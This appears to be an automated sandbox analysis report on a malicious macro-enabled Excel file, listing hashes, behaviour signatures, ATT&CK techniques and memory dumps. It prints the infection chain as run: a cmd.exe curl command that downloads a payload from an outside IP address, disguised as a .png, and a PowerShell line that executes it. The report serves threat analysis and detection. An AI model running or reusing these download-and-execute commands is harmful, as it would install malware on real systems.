438d6732eaeeb91b31df0f21d39eabd2fce3737c2fcd80d76c47fcfb473b988e

General

Target

917661-360471-585554.xlsm
Size

140KB
MD5

544e73f142414024f15bdd34b80038bf
SHA1

ff39e6d9c11ebfea8b5a048fd75779d1f0d00c30
SHA256

438d6732eaeeb91b31df0f21d39eabd2fce3737c2fcd80d76c47fcfb473b988e
SHA512

b98ee3a2ad80d7f942ac3a5c2456f08fbd167c72c6a703d0052397775c39cd2e462bf6c0bdacaaaa5badc6b5257fc7b33ad7353a2661d6f382129672999f6535

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4084	804	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4092	804	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

804 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4084 powershell.exe
4084 powershell.exe
4084 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4084 powershell.exe

pid	process
4084	powershell.exe
4084	powershell.exe
4084	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4084	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE
804	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 804 wrote to memory of 4084	804	EXCEL.EXE	powershell.exe
PID 804 wrote to memory of 4084	804	EXCEL.EXE	powershell.exe
PID 804 wrote to memory of 4092	804	EXCEL.EXE	cmd.exe
PID 804 wrote to memory of 4092	804	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\917661-360471-585554.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\FzFJD.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4084

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\FzFJD.exe
2⤵
- Process spawned unexpected child process
PID:4092

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/804-122-0x00007FFA8F230000-0x00007FFA9031E000-memory.dmp

Filesize
16.9MB

Download
memory/804-114-0x00007FF7F0830000-0x00007FF7F3DE6000-memory.dmp

Filesize
53.7MB

Download
memory/804-116-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/804-117-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/804-118-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/804-121-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/804-115-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/804-123-0x00007FFA8D330000-0x00007FFA8F225000-memory.dmp

Filesize
31.0MB

Download
memory/4084-259-0x0000000000000000-mapping.dmp

Download
memory/4084-265-0x000002E488910000-0x000002E488911000-memory.dmp

Filesize
4KB

Download
memory/4084-268-0x000002E4A1160000-0x000002E4A1161000-memory.dmp

Filesize
4KB

Download
memory/4084-275-0x000002E4A0F50000-0x000002E4A0F52000-memory.dmp

Filesize
8KB

Download
memory/4084-276-0x000002E4A0F53000-0x000002E4A0F55000-memory.dmp

Filesize
8KB

Download
memory/4084-285-0x000002E4A0F56000-0x000002E4A0F58000-memory.dmp

Filesize
8KB

Download
memory/4092-260-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads